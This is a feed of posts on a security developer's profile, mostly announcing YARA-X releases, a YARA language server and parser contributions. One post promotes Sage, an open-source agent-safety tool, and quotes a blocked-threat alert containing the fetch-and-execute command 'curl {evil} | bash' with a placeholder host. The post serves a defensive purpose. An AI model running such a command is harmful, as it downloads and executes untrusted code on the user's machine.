Marek Milkovič

Dev at Avast Software. Interested in C++, reverse engineering, compilers and game dev.

[Marek Milkovič @dev_metthal]

@plusvic I haven't looked at the implementation but I'm not even sure it'd be possible to extend this to function calls, since you can probably detect this on parser level and build RegexSet from it, but the function call can do _anything_ so there's no mapping to the input data.

[Marek Milkovič @dev_metthal]

@plusvic Yes, exactly. I was just wondering, because there are still some function calls in our rules where regexes are used as arguments and I was thinking whether to expose them as arrays instead but there was never reason to do so. Maybe this is it :)

[Victor M. Alvarez @plusvic]

YARA-X 1.15.0 is out!

https://t.co/jdYNwa75dU

[Victor M. Alvarez @plusvic]

YARA-X v1.14.0 has been released! https://t.co/aMuFT8Lxq3

[Jakub Kroustek @JakubKroustek]

🛡️ 𝗦𝗮𝗴𝗲 𝗯𝘆 𝗚𝗲𝗻 𝗗𝗶𝗴𝗶𝘁𝗮𝗹: 𝗧𝗵𝗿𝗲𝗮𝘁 𝗕𝗹𝗼𝗰𝗸𝗲𝗱 🛡️
🚨━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 🚨
𝗧𝗵𝗿𝗲𝗮𝘁 Remote code execution via curl pipe to shell
𝗦𝗲𝘃𝗲𝗿𝗶𝘁𝘆 CRITICAL
𝗔𝗿𝘁𝗶𝗳𝗮𝗰𝘁 curl {evil} | bash

AI agents do crazy things - with full access to your machine, data, sometimes even finance. We built an open-source security solution that sits inside the agent and checks every action before it runs.

Open-sourced under the Apache 2.0 license
200+ detection rules and heuristics under the Detection-Rule-License (DRL) by @cyb3rops
Support for @claudeai (@bcherny), @cursor_ai, @openclaw...

Try it. Break it. Tell us what's missing. https://t.co/ESEiejxl48

[Jakub Kroustek @JakubKroustek]

Almost all of us are using #AI agents now. Is it safe? Not always. So with my team we built Sage: Safety for Agents. We call it the first consumer Agent Detection and Response (ADR). And it's #OpenSource now. Try it.

https://t.co/TG09gkgbfW
https://t.co/7l6bZ40D3E
#GenSage

[Gen Threat Labs @GenThreatLabs]

Another Gen contribution to YARA-X upstream thanks to Albert Tikaiev (https://t.co/BxXfUvcSZf):
A YARA-X Language Server integrated directly into the YARA-X ecosystem, built on the error-tolerant parser started by Tomas Duris (https://t.co/L2MOZH3uBC).

It all started in 2017 with yaramod (https://t.co/q1w7IB1a2J), an alternative YARA parser we built for linters and static analysis tools. Back then, we didn't even know what a language server was.

After several years of iteration, in 2022 we released the first #YARA language server (YLS) on our GitHub (https://t.co/urHpAX7Gfx), made by @KastakMatej, though it lived outside the YARA ecosystem.

With YARA-X, we saw an opportunity for a unified ecosystem containing all the tooling we've been building and open-sourcing over the years. After adding the error-tolerant parser built on rowan in 2024, the language server was the natural next step.

We're grateful @plusvic was open to the idea, accepted it upstream, and even improved it.

This isn't our final stop. We'll continue helping build an even stronger YARA-X toolkit. Stay tuned!

[Victor M. Alvarez @plusvic]

I'm happy to introduce the official YARA language server for Visual Studio Code.
https://t.co/FptFOFZvgG

Many thanks to Albert Tikaiev for putting the first stone in this initative (https://t.co/fsAMenmkea)

[Victor M. Alvarez @plusvic]

YARA-X 1.10 is out! https://t.co/04ZVJqCcSV

[Victor M. Alvarez @plusvic]

YARA-X is now stable! https://t.co/3W02P8sQ9o

[Victor M. Alvarez @plusvic]

YARA-X 0.9.0 has been released.

https://t.co/TLb4f7no3v

[Gen Threat Labs @GenThreatLabs]

@AvastThreatLabs is now @GenThreatLabs. Our global team of researchers spans trusted cybersecurity brands under Gen. We're covering a broader range of topics – scams, deepfakes, and more. Check out our new look! 🔐#GenThreatLabs #CyberSecurity

[Victor M. Alvarez @plusvic]

YARA-X 0.6.0 has been released.
https://t.co/GIbFdoWDzi

[Tomáš Ďuriš @duristomas67]

We're excited to announce that the latest version of YARA-X now includes the long-awaited error-resilient parser, a feature we've proudly contributed to. This development enhances YARA-X's robustness and reliability.

[Victor M. Alvarez @plusvic]

There's also a new blog entry: https://t.co/vaV45q3Dqx

[Dominika Regéciová @regeciovad]

🚀Excited to speak at #DevConf_cz 2024! Join me on Thursday, June 13th, for my talk and discover our latest open-source contributions in cybersecurity, including GenRex, YARI, YLS, & YARA-X, and much more #OpenSource #YARA https://t.co/Hy8GO6IU8S

[Tomáš Ďuriš @duristomas67]

Take a look at one of my contributions into this exciting project 🦀

[Victor M. Alvarez @plusvic]

YARA-X is not only a pattern matching tool You can use it for extracting useful information from multiple file formats, including PE, .NET, ELF, Mach-O and LNK.
https://t.co/x5vp6IpVvS

[Marek Milkovič @dev_metthal]

@wxs @notareverser @plusvic @Qutluch But in the end, I think it's manageable effort. Stuff can't deviate from the standard too much and I think the areas where it can deviate were covered in the previous implementation or were quite quickly found with the new implementation.

[Marek Milkovič @dev_metthal]

@wxs @notareverser @plusvic @Qutluch The fact that there are multiple RFCs written on this helps a lot but as usual with standards, it becomes a recommendation for some implementations. I haven't realized how many workarounds OpenSSL contains for these cases until we started to dig in it with @plusvic. It's a mess.